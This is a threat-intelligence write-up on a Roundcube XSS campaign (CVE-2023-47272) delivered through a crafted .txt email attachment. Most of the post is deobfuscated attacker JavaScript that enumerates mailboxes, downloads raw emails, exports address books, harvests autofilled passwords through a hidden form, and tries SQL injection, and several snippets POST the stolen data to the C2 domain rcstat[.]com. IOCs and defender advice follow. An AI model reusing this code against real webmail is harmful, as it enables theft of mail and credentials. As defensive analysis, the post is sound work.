Security analysts, and products alike, have constraints on time, resources, and bandwidth, that require them to narrow the giant haystack of “potentially interesting things to dive deep on today”. In the trade-off between resources and real-world detections, they may make broad generalizations to filter out categories that are thought not to be abused in the wild. These assumptions eventually lead to false negatives on real world attacks, given a long enough timeframe. A few notable examples:
- malicious content hosted on normally benign Alexa “top X” urls
- plain .csv files that abused = cmd functionality in excel
- “known good” hash lists like NSRL, before signer compromises were common, or the shift to LOLbins
- image files that exploit vulnerable parsers, such as libtiff in pdf
- and of course obscure or unpopular formats, such as .xdp, .pps, or .egg
In this example, a suspected Russian threat actor targeted a Polish entity solely with a malicious .txt file, to attempt to steal emails and address books. The attacker is relying on that fact that the target will view the message in Roundcube, a popular frontend for other mail services. This bug, CVE-2023-47272, appears to have been discovered in parallel by Rene Rehme, and used by the threat actor as a 0day, in October ‘23. It was patched in November ‘23. The vuln centered around rendering embedded js in a preview pane of an “inline” txt attachment. XSS exploits, compared to RCE, have for too long been viewed with mockery and derision by many in the security community, but this payload will illustrate that a mere XSS can cause your mailbox and address book to be exfil’d. This campaign bears many similarities to a campaign from June ‘23, detailed by CERT-UA.
This file caught our eye by a loose filter watching VirusTotal for communications spoofed to come from Think Tanks, NGOs, governments, and the like. For this hunting methodology, whether the sender account was compromised or simply spoofed does not particularly matter, given the low volume of hits. In this case, the mail appeared to come from the “Caucasus Policy Analysis Center” in Azerbaijan. The “.txt” file contained renderable HTML, which stuck out as strange, as typically text viewers associated with a .txt won’t execute rich content.
At first look, we suspected that the HTML would be rendered by a yet-unknown word processor, but after examining the payload and seeing “X-Roundcube-Request” headers, it became clear that Roundcube was the target.
At a quick glance, you can notice a chunk of javascript that tries to load via the ‘onerror’ event. Setting the “src=a” is a mechanism to both guarantee a failure of the image to load, but also to avoid protections watching for externally loaded content, even if it would 404.
We have deobfuscated the relevant sections, and the raw code is available on our github. The first download_url contains code to fetch individual mailbox content; the second sql_url contains SQL injections and other local environment collections.
1function decryption_function_outer(e, a) {
2 var n = decryption_function_inner();
3 return (decryption_function_outer = function (e, a) {
4 return n[e -= 242]
5 })(e, a)
6}
7(e => fetch_and_eval(sql_url, true))
8(e => fetch_and_eval(download_url, true)
9LoadingAnimation = {
10 rcmail["set_busy"](false, '', this["window_id"]), Htmlpart["show"]()
11}
12
13download_url = 'https://rcstat[.]com/e?m=cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t&r=&s=MjAyMy0xMC0wMw==',
14sql_url = 'https://rcstat[.]com/q?r=&m=cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t',
15main();
After grabbing the first download_url
, the attacker retrieves a list of mailbox folder names. It extracts the rows from the response and filters out mailboxes that are empty or named ‘Trash’
1 async function q() {
2 let H = '?_task=settings&_action=folders',
3 I = await o(h + H),
4 J = I.match(/rcmail.set_env\((.+)\);/m)[1],
5 K = JSON.parse(J).subscriptionrows
6 return Object.values(K)
7 .map((L) => L[0])
8 .filter((L) => L != '' && L.toLowerCase() !== 'trash')
9
10 }
The attacker grabs all mail IDs after a certain date — in our case, after 2023-10-03
1 let J =
2 '?_task=mail&_action=list&_mbox=' +
3 encodeURIComponent(H) +
4 '&_page=1&_remote=1',
5 K = await p(h + J)
6 if (!K.hasOwnProperty('env')) {
7 return []
8 }
9
10for (let V = 0 ; V < T.length; V++) {
11 message_row = /this\.add_message_row\((.*)\)/.exec(T[V])
12 if (message_row != null && message_row.length > 1) {
13 let W = /(\d+),(\{.*\}),(\{.*\}),(\w+)/.exec(message_row[1]),
14 X = JSON.parse(W[2]),
15 Y = Date.parse(X.date)
16 if (isNaN(Y) || Y >= I) {
17 U.push(parseInt(W[1]))
18 }
19 }
Next, grab the email by leveraging the “viewsource” function, which returns the rfc822-style eml.
1async function t(H, I) { 2 // Constructs a url and retreives the result by sending a GET response to the url. 3 // It gives the maibox and uid and action as viewsource in the url 4 let J =
5 '?_task=mail&_mbox=' +
6 encodeURIComponent(I) +
7 '&_uid=' +
8 H +
9 '&_action=viewsource',
10 K = await o(h + J)
11 return K
12}
Finally, export the address book in VCF format
1async function v(H) {
2 // Get the request token using function n. 3 // Get the response from the url 4 // base_value+"?_task=addressbook&_source=0&_action=export&_token="+token 5 // and send the response to "https://rcstat[.]com:443/addressbook/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t" 6 let I = await n(),
7 J = '?_task=addressbook&_source=0&_action=export&_token=' + I,
8 K = await o(h + J)
9 return fetch(H, {
10 method: 'POST',
11 mode: 'no-cors',
12 body: K,
13 }
14}
Additionally, in older versions of Roundcube, a vulnerability existed to inject code that would read a form field. The attacker would create a form containing a username and password box, set the ID value appropriately, sleep for 1000ms, retrieve the password field, base64 encode the blob, then POST it to the c2.
1 let M = '\n <input type="text" name="username" id="%U%" /><br />\n 2 <input type="password" name="password" id="%P%" /><br />\n'
3 let T = document.createElement('form')
4 T.setAttribute('id', 'mailform' + N)
5 T.setAttribute('method', 'POST')
6 T.setAttribute('style', 'display:none')
7 T.setAttribute('style', 'display:none')
8 document.body.appendChild(T)
9 document.getElementById('mailform' + N).innerHTML += M.replace(
10 '%U%',
11 'username' + N
12 ).replace('%P%', 'password' + N)
13 document.getElementById('username' + N).value = Q
14 setTimeout(() => {
15 S(document.getElementById('password' + N).value)
16 }, 1000)
17 let T = document.getElementById('password' + S)
18 (Q = btoa(Q)),
19 fetch(H, {
20 method: 'POST',
21 mode: 'no-cors',
22 body: Q,
23 })
The attacker also gathers environmental versions, such as Roundcube version strings, and in some scenarios also tries a SQL injection. Although the SQL injection vuln is older, the attempt will happen regardless, and can be a useful artifact to check for exploitation.
1//version string looks like 1.4.3 2if (z.length && (z[0] < 1 || z[1] > 4)) {
3 g('[SQL] not vulnerable')
4 return
5}
6 function r(v) {
7 const w = {
8 db: 'mysql',
9 query:
10 '1=1%B% UNION select 0,-1,3,VERSION(),USER(),(select count(*) from session),(select count(*) from users),null,8,9 ORDER BY changed ASC LIMIT 1; --',
11 }
12 const x = {
13 db: 'psql',
14 query:
15 "1=1%B% UNION select 0,1,now(),3,version(),user,(select count(*) from users)::varchar, (select count(*) from session)::varchar ,null,'9' ORDER BY changed DESC LIMIT 1; --",
16 }
17}
1F("https://rcstat[.]com:443/p/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t").catch((H) => {}),
2 x(''),
3 E('https://rcstat[.]com:443/about/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
4 w('https://rcstat[.]com:443/s/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
5 v('https://rcstat[.]com:443/addressbook/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
6])
7 .then(
8 u('https://rcstat[.]com:443/emails/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t', new Date('2023-10-03'))
9 )
Guidance for defenders:
Along with the IOCs below, it’s worth asking your email security vendor how they handle .txt files. From a cursory analysis of available tooling, YARA, and other signature types, may not run against .txt files by default. We suspect that is due to the increase in load, compared to the relatively small corpus of true attacks. Additionally, this bug is triggered by loading an “inline” attachment, so the signature should be run across the body of the EML, as opposed to just the attachment.
IOCs | Notes |
---|---|
rcstat[.]com | C2 domain |
/about/ /about/[base64 of mailbox] /db/[base64 of mailbox] /e?m=[base64 of mailbox]&r=&s=[base64 of minimum date to gather mail] /emails/[base64 of mailbox] /l/[base64 of mailbox] /p/[base64 of mailbox] /q?r=&m=[base64 of mailbox] /r/[base64 of mailbox] /s/[base64 of mailbox] | paths connected to on the C2 |
/?_task=mail&_action=search&_q=test&_headers=subject%2Cfrom&_filter=ALL&_mbox=INBOX&_remote=1 /?_task=addressbook&_source=0&_action=export&_search=3&_token= /?_task=settings&_action=about /?_task=mail&_action=list&_mbox=INBOX&_remote=1&_sort=1=1%20UNION%20select%200,-1,3, VERSION(),USER(),(select%20count()%20from%20session),(select%20count()%20from%20users),null, 8,9%20ORDER%20BY%20changed%20ASC%20LIMIT%201;%20–_DESC | - URLs requested from Roundcube server. - The &_remote=1 returns the content in a JSON blob, which may be a strong indicator in your environment. - Notably, the SQL injection may be attempted even if there is no success, but it will be coming from the authenticated client, which may be a good lead. |
victoriabittner[@]cpac[.]az | sender email address (may be spoofed) |
45.130.86[.]4 | sender IP |
Lastly, If you are a vendor, and wish to provide a statement of suspected attribution, please drop us a note, and we’ll add it for posterity.
Vendor | Threat Actor name |
---|---|
Proofpoint | TA422 |
For an easier to parse list of indicators, and original JS, please visit our GitHub page.
Acknowledgements
The authors would like to thank the internal reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.com if you have further corrections, or would like to collaborate on research in the future.